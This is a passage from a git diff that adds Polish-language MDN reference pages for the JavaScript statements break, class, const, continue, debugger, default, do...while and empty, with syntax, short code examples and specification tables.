+<p>Polecenie <code>break</code> może zawierać opcjonalną etykietę, która pozwala programowi na wyjście z bloku poleceń oznaczonego etykietą. Polecenia w bloku oznaczonym etykietą mogą być dowolnego rodzaju.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_break" name="Przyk.C5.82ad:_Zastosowanie_break"> Przykład: Zastosowanie <code>break</code> </h4>
+<p>Poniższa funkcja zawiera polecenie <code>break</code>, które przerywa pętlę
+<code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/while">while</a></code>, kiedy <code>e</code> jest równe 3, a następnie zwraca wartość 3 * <code>x</code>.
+</p>
+<pre>function testBreak(x) {
+ var i = 0;
+ while (i &lt; 6) {
+ if (i == 3)
+ break;
+ i++;
+ }
+ return i*x;
+}
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/continue">continue</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/etykieta">etykieta</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/switch">switch</a></code>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/break", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/break", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/break", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/break" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/class/index.html b/files/pl/web/javascript/referencje/polecenia/class/index.html
new file mode 100644
index 0000000000..05cdb7b2d4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/class/index.html
@@ -0,0 +1,113 @@
+---
+title: class
+slug: Web/JavaScript/Referencje/Polecenia/class
+translation_of: Web/JavaScript/Reference/Statements/class
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div><strong>Deklaracja klasy</strong> tworzy nową klasę z daną nazwą, używając dziedziczenia opartego na prototypach.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-class.html")}}</div>
+
+
+
+<div class="noinclude">
+<p>Możesz także zdefiniować klasę, używając {{jsxref("Operators/class", "wyrażenia class", "", 1)}}. W odróżnieniu jednak od wyrażenia class, deklaracja klasy nie pozwala na ponowne zadeklarowanie istniejącej klasy i w takim przypadku zwróci błąd.</p>
+</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="brush: js">class nazwa [extends] {
+ // ciało klasy
+}
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ciało klasy w deklaracji klasy jest wykonywane w  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">trybie ścisłym</a>. Konstruktor jest opcjonalny.</p>
+
+<p>Deklaracje klas nie są {{Glossary("Hoisting", "hoisted")}} (w odróżnieniu od <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">deklaracji funkcji</a>).</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Prosta_deklaracja_klasy">Prosta deklaracja klasy</h3>
+
+<p>W poniższym przykładzie, najpierw definiujemy klasę o nazwie Polygon, a następnie rozszerzamy ją do klasy Square. Zwróć uwagę na to, że <code>super()</code>, użyte w konstruktorze, może byc użyte jedynie w konstruktorach i musi być wywołane przed użyciem słowa kluczowego <code>this</code>.</p>
+
+<pre class="brush: js">class Polygon {
+ constructor(height, width) {
+ this.name = 'Polygon';
+ this.height = height;
+ this.width = width;
+ }
+}
+
+class Square extends Polygon {
+ constructor(length) {
+ super(length, length);
+  this.name = 'Square';
+ }
+}</pre>
+
+<div class="warning">
+<h3 id="Próba_podwójnej_deklaracji_klasy">Próba podwójnej deklaracji klasy</h3>
+
+<p>Próba ponownego zadeklarowania klasy, przy użyciu deklaracji klasy, spowoduje wystąpienie błędu.</p>
+
+<pre class="brush: js">class Foo {};
+class Foo {}; // Uncaught SyntaxError: Identifier 'Foo' has already been declared
+</pre>
+
+<p>Taki sam błąd jest zwracany, gdy klasa jest zdefiniowana przed użyciem wyrażenia klasy.</p>
+
+<pre class="brush: js">var Foo = class {};
+class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
+
+</pre>
+</div>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2016')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ES2017')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.statements.class")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function"><code>function</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/const/index.html b/files/pl/web/javascript/referencje/polecenia/const/index.html
new file mode 100644
index 0000000000..ead1ca32fb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/const/index.html
@@ -0,0 +1,53 @@
+---
+title: const
+slug: Web/JavaScript/Referencje/Polecenia/const
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Deklaruje nazwaną stałą tylko do odczytu.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Wyrażenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.5, NES 6.0 (rozszerzenie Netscape, tylko w silniku C)</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+const <i>nazwaStałej</i> {{ mediawiki.external('= <i>wartość</i>') }} [..., <i>nazwaStałej</i> {{ mediawiki.external('= <i>wartość</i>') }} ]
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>nazwaStałej</code> </dt><dd> Nazwa stałej. Może być dowolnym dozwolonym identyfikatorem.
+</dd></dl>
+<dl><dt> <code>wartość</code> </dt><dd> Wartość stałej. Może być dowolną dozwoloną wartością lub wynikiem wyrażenia.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Tworzy stałą, która może być globalna lub lokalna dla funkcji, która ją zadeklarowała. Zasady zasięgu dla stałych są takie same jak dla zmiennych.
+</p><p>Wartość stałej nie może zostać zmieniona poprzez ponowne przypisanie; stała nie może także być ponownie zadeklarowana.
+</p><p>Stała nie może mieć takiej samej nazwy jak funkcja lub zmienna o tym samym zasięgu.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_const" name="Przyk.C5.82ad:_Zastosowanie_const"> Przykład: Zastosowanie <code>const</code> </h4>
+<p>Poniższy skrypt wypisuje "<code>a jest równe 7</code>".
+</p>
+<pre>const a = 7;
+document.writeln("a jest równe " + a);
+</pre>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/var">var</a></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/const", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/const", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/const" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/continue/index.html b/files/pl/web/javascript/referencje/polecenia/continue/index.html
new file mode 100644
index 0000000000..b6c2a05d94
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/continue/index.html
@@ -0,0 +1,166 @@
+---
+title: continue
+slug: Web/JavaScript/Referencje/Polecenia/continue
+tags:
+ - JavaScript
+ - instrukcja
+ - polecenie
+translation_of: Web/JavaScript/Reference/Statements/continue
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Polecenie continue</strong> zatrzymuje wykonanie pętli w obecnej iteracji, w obecnej lub wskazanej pętli i kontynuuje wykonanie pętli w kolejnej jej iteracji.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-continue.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">continue [etykieta];</pre>
+
+<dl>
+ <dt><code>etykieta</code></dt>
+ <dd>Identyfikator powiązany z etykietą instrukcji.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>W przeciwieństwie do instrukcji {{jsxref("Statements/break", "break")}}, <code>continue</code> nie zatrzymuje całkowicie wykonania pętli, natomiast:</p>
+
+<ul>
+ <li>w pętli {{jsxref("Statements/while", "while")}} powoduje przejście do warunku pętli,</li>
+</ul>
+
+<ul>
+ <li>w pętli {{jsxref("Statements/for", "for")}}, powoduje przejście do wyrażenia aktualizującego pętlę.</li>
+</ul>
+
+<p>Instrukcja <code>continue</code> może opcjonalnie zawierać etykietę, która pozwala programowi przejść do kolejnej iteracji pętli, której tę etykietę przypisano, zamiast kolejnej iteracji obecnej pętli. W tym przypadku, polecenie <code>continue</code> musi być zawarte wewnątrz instrukcji z etykietą.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_continue_z_while">Użycie continue z while</h3>
+
+<p>Poniższy przykład pokazuje pętlę {{jsxref("Statements/while", "while")}}, zawierającą polecenie <code>continue</code>, które jest wykonywane, gdy wartość zmiennej <code>i</code> równa jest 3 – zatem <code>n</code> przyjmuje kolejno wartości 1, 3, 7 i 12.</p>
+
+<pre class="brush: js notranslate">var i = 0;
+var n = 0;
+
+while (i &lt; 5) {
+ i++;
+
+ if (i === 3) {
+ continue;
+ }
+
+ n += i;
+}
+</pre>
+
+<h3 id="Użycie_continue_z_etykietą">Użycie continue z etykietą</h3>
+
+<p>W poniższym przykładzie, instrukcja z etykietą <code>checkiandj</code> zawiera instrukcję z etykietą <code>checkj</code>. Jeśli zostanie napotkane polecenie <code>continue</code>, wykonanie programu jest kontynuowane od góry instukcji <code>checkj</code>. Za każdym razem, gdy napotkane jest <code>continue</code>, <code>chekckj</code> jest przeiterowywane dopóki jego warunek nie zwróci wartości false. Kiedy zwracane jest false, wykonywana jest pozostała część <code>checkiandj</code>.</p>
+
+<p>Gdyby <code>continue</code> miało etykietę <code>checkiandj</code>, wówczas program powinien przejść na początek instrukcji <code>checkiandj</code>.</p>
+
+<p>Zobacz też {{jsxref("Statements/label", "label")}}.</p>
+
+<pre class="brush: js notranslate">var i = 0;
+var j = 8;
+
+checkiandj: while (i &lt; 4) {
+ console.log('i: ' + i);
+ i += 1;
+
+ checkj: while (j &gt; 4) {
+ console.log('j: ' + j);
+ j -= 1;
+
+ if ((j % 2) == 0)
+ continue checkj;
+ console.log('Liczba' + j + ' jest nieparzysta.');
+ }
+ console.log('i = ' + i);
+ console.log('j = ' + j);
+}
+</pre>
+
+<p>Wyjście:</p>
+
+<pre class="brush: js notranslate">i: 0
+
+// początek checkj
+j: 8
+Liczba 7 jest nieparzysta.
+j: 7
+j: 6
+Liczba 5 jest nieparzysta.
+j: 5
+// koniec checkj
+
+i = 1
+j = 4
+
+i: 1
+i = 2
+j = 4
+
+i: 2
+i = 3
+j = 4
+
+i: 3
+i = 4
+j = 4
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Uwagi</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Wstępna definicja. Wersja bez etykiety.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Dodano wersję z etykietą.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.7', 'Continue statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-continue-statement', 'Continue statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-continue-statement', 'Continue statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.statements.continue")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/debugger/index.html b/files/pl/web/javascript/referencje/polecenia/debugger/index.html
new file mode 100644
index 0000000000..b4fe9548a7
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/debugger/index.html
@@ -0,0 +1,126 @@
+---
+title: debugger
+slug: Web/JavaScript/Referencje/Polecenia/debugger
+translation_of: Web/JavaScript/Reference/Statements/debugger
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Wyrażenie  <strong>debugger </strong>uruchamia dowolną dostępną funkcjonalność umożliwiającą debuggowanie, przykładowo poprzez ustawienie <em>breakpointa</em> w miejscu użycia wyrażenia. Jeżeli żadna tego typu funkcjonalność nie jest dostępna, użycie wyrażenia nie ma wpływu na działanie programu.</div>
+
+<div>
+<h2 id="Składnia">Składnia</h2>
+</div>
+
+<pre class="syntaxbox"><code>debugger;</code></pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Poniższy przykład pokazuje użycie wyrażenia <strong>debugger</strong> w celu uruchomienia debuggera w momencie wywołania funkcji (jeżeli jest dostępny).</p>
+
+<pre class="brush:js">function potentiallyBuggyCode() {
+ debugger;
+ // przeprowadź analizę działania programu zawierających bugi, przejdź do kolejnych wywołań, itp.
+}</pre>
+
+<p>Kiedy następuje wywołanie instrukcji debugger, uruchomienie programu zatrzymywane jest na wyrażeniu <strong>debugger</strong>. Działa to tak jak ustawienie <em>breakpointu</em> w kodzie źródłowym skryptu.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/6963/Screen Shot 2014-02-07 at 9.14.35 AM.png"><img alt="Paused at a debugger statement." src="https://mdn.mozillademos.org/files/6963/Screen%20Shot%202014-02-07%20at%209.14.35%20AM.png" style="height: 371px; width: 700px;"></a></p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-debugger-statement', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.15', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Wstępna definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-7.5.3', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-7.4.3', 'Debugger statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Jedynie wspomniane jako zarezerwowane słowo kluczowe</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="CompatibilityTable"><br>
+ {{CompatibilityTable}}</h3>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wsparcia</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Cecha</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowe wsparcie</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Debugging_JavaScript">Debugging JavaScript</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger">The Debugger in the Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/default/index.html b/files/pl/web/javascript/referencje/polecenia/default/index.html
new file mode 100644
index 0000000000..3e28e480e8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/default/index.html
@@ -0,0 +1,120 @@
+---
+title: default
+slug: Web/JavaScript/Referencje/Polecenia/default
+tags:
+ - JavaScript
+ - słowo kluczowe
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Słowo kluczowe <strong>default  </strong>może być użyte w języku JavaScript w dwóch sytuacjach: w instrukcji {{jsxref("Statements/switch", "switch")}} lub instrukcji {{jsxref("Statements/export", "export")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-default.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<p>W instrukcji {{jsxref("Statements/switch", "switch")}}:</p>
+
+<pre class="syntaxbox">switch (wyrażenie) {
+ case wartość1:
+ //Instrukcje wykonywane kiedy wartość1 zgadza się z wartością wyrażenia
+ [break;]
+ default:
+ //Instrukcje wykonywane kiedy żadna z wartości nie zgadza się z wartością wyrażenia
+ [break;]
+}</pre>
+
+<p>Z instrukcją {{jsxref("Statements/export", "export")}}:</p>
+
+<pre class="syntaxbox">export default <em>nazwaN</em> </pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Po więcej szczegółów zobacz strony instrukcji</p>
+
+<ul>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>i {{jsxref("Statements/export", "export")}}.</li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_default_w_instrukcji_switch">Użycie <code>default</code> w instrukcji <code>switch</code></h3>
+
+<p>W poniższym przykładzie, jeśli <code>expr</code> przyjmie wartość "Pomarańcze" lub "Jabłka", program dopasuje tę wartość odpowiednio do przypadków (case) "Pomarańcze" i "Jabłka" oraz wykona odpowiednie instrukcje. Słowo kluczowe <code>default</code> zostanie użyte w każdym innym przypadku i pozwoli na wykonanie odpowiedających mu instrukcji.</p>
+
+<pre class="brush: js">switch (expr) {
+ case 'Pomarańcze':
+ console.log('Pomarańcze kosztują 3.29 zł za kilogram.');
+ break;
+ case 'Jabłka':
+ console.log('Jabłka kosztują 1.59 zł za kilogram.');
+ break;
+ default:
+ console.log('Przepraszamy, ' + expr + ' niestety się skończyły.');
+}</pre>
+
+<h3 id="Użycie_default_z_export">Użycie <code>default</code> z <code>export</code></h3>
+
+<p>Jeśli chcesz wyeksportować pojednynczą wartość lub potrzebujesz tzw. <em>fallback value</em> dla modułu, może szostać zastosowany domyślny eksport (<code>default export</code>)</p>
+
+<pre class="brush: js">// module "my-module.js"
+let cube = function cube(x) {
+ return x * x * x;
+};
+export default cube;</pre>
+
+<p>Wtedy, w innym skrypcie, domyślnie wyeksportowana wartość będzie bezpośrednio zaimportowana:</p>
+
+<pre class="brush: js">// module "another-module.js"
+import cube from 'my-module'; //"default export" pozwala na napisanie "import cube", zamiast "import cube from 'my-module'"
+console.log(cube(3)); // 27
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-exports', 'Exports')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.statements.default")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/do...while/index.html b/files/pl/web/javascript/referencje/polecenia/do...while/index.html
new file mode 100644
index 0000000000..a57caf17ee
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/do...while/index.html
@@ -0,0 +1,54 @@
+---
+title: do...while
+slug: Web/JavaScript/Referencje/Polecenia/do...while
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/do...while
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Wykonuje zadane polecenia dopóki warunek jest spełniony. Polecenia wykonywane są przynajmniej raz.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.2, NES 3.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262, Edycja 3
+</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">do
+ <i>polecenia</i>
+while (<i>warunek</i>);
+</pre>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>polecenia</code> </dt><dd> Blok poleceń, który jest wykonywany przynajmniej raz. i jest wykonywany ponownie tak długo, jak <code>warunek</code> jest spełniony.
+</dd></dl>
+<dl><dt> <code>warunek</code> </dt><dd> Obliczany przy każdym przejściu pętli. Jeśli <code>warunek</code> ma wartość <i>prawda</i>, polecenia w bloku go poprzedzającym są wykonywane ponownie. Kiedy <code>warunek</code> osiągnie wartość <i>fałsz</i>, sterowanie przepływa do następnego polecenia po pętli <code>do...while</code>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<h4 id="Przyk.C5.82ad:_Zastosowanie_do...while" name="Przyk.C5.82ad:_Zastosowanie_do...while"> Przykład: Zastosowanie <code>do...while</code> </h4>
+<p>W poniższym przykładzie pętla <code>do...while</code> wykonywana jest przynajmniej raz, a następnie jej wykonywanie jest powtarzane tak długo, aż <code>i</code> będzie większe lub równe 5.
+</p>
+<pre>do {
+ i+=1;
+ document.write(i);
+} while (i&lt;5);
+</pre>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Statements/do...while", "es": "es/Referencia_de_JavaScript_1.5/Sentencias/do...while", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Instructions/do...while", "ja": "ja/Core_JavaScript_1.5_Reference/Statements/do...while" } ) }}
diff --git a/files/pl/web/javascript/referencje/polecenia/empty/index.html b/files/pl/web/javascript/referencje/polecenia/empty/index.html
new file mode 100644
index 0000000000..4c55c3f4dd
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/empty/index.html
@@ -0,0 +1,92 @@
+---
+title: empty
+slug: Web/JavaScript/Referencje/Polecenia/Empty
+tags:
+ - JavaScript
+ - funkcja języka
+ - wyrażenie
+translation_of: Web/JavaScript/Reference/Statements/Empty
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Puste wyrażenie</strong> jest używane do podania braku wyrażenia tam, gdzie składnia JavaScript wymaga jakiejkolwiek instrukcji.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-empty.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate">;
+</pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Puste wyrażenie jest zapisywane jako średnik, wskazujący na to, że żadna instrukcja nie będzie wykonana, nawet jeśli składnia JavaScript wymaga jakiejkolwiek operacji.</p>
+
+<p>Przeciwna zachowanie, kiedy potrzebne jest użycie kilku wyrażeń tam, gdzie JavaScript pozwala tylko na jedno, jest możliwe dzięki <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">blokom instrukcji</a>, które łączą kilka wyrażeń w jedno.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Pusta_pętla">Pusta pętla</h3>
+
+<p>Puste wyrażenie jest czasem używane w pętlach. Poniższy przykład prrzedstawia ciało pustej pętli:</p>
+
+<pre class="brush: js notranslate">let arr = [1, 2, 3];
+
+// Nadaj wszystkim elementom tablicy wartość 0
+for (let i = 0; i &lt; arr.length; arr[i++] = 0) /* puste wyrażenie */ ;
+
+console.log(arr);
+// [0, 0, 0]
+</pre>
+
+<h3 id="Nieumyślne_użycie">Nieumyślne użycie</h3>
+
+<p>Dobrym pomysłem jest dodanie komentarza do <em>umyślnego</em> użycia pustego wyrażenia, ponieważ nieoczywistym może się okazać rozróżnienie takiej instrukcji od zwykłego średnika.</p>
+
+<p>W poniższym przykładzie użycie pustego wyrażenia prawdopodobnie nie jest umyślne:</p>
+
+<pre class="brush: js example-bad notranslate">if (condition); // Uwaga, ten "if" nic nie robi!
+ killTheUniverse() // To polecenie będzie zawsze wykonane!!!
+</pre>
+
+<p>W kolejnym przykładzie użyta jest instrukcja warunkowa {{jsxref("Statements/if...else", "if...else")}} bez nawiasów klamrowych (<code>{}</code>).</p>
+
+<p>Jeśli wartość zmiennej <code>trzy</code> jest równa <code>true</code>, nic się nie stanie, zmienna <code>cztery</code> nie ma znaczenia, również funkcja <code>odpalRakietę</code> w przypadku <code>else</code> nie będzie wykonana.</p>
+
+<pre class="brush: js example-bad notranslate">if (jeden)
+ wykonajJeden();
+else if (dwa)
+ wykonajDwa();
+else if (trzy)
+ ; // puste wyrażenie
+else if (cztery)
+ wykonajCztery();
+else
+ odpalRakietę();</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-empty-statement', 'Empty statement')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.statements.empty")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "Block statement")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/etykieta/index.html b/files/pl/web/javascript/referencje/polecenia/etykieta/index.html
new file mode 100644
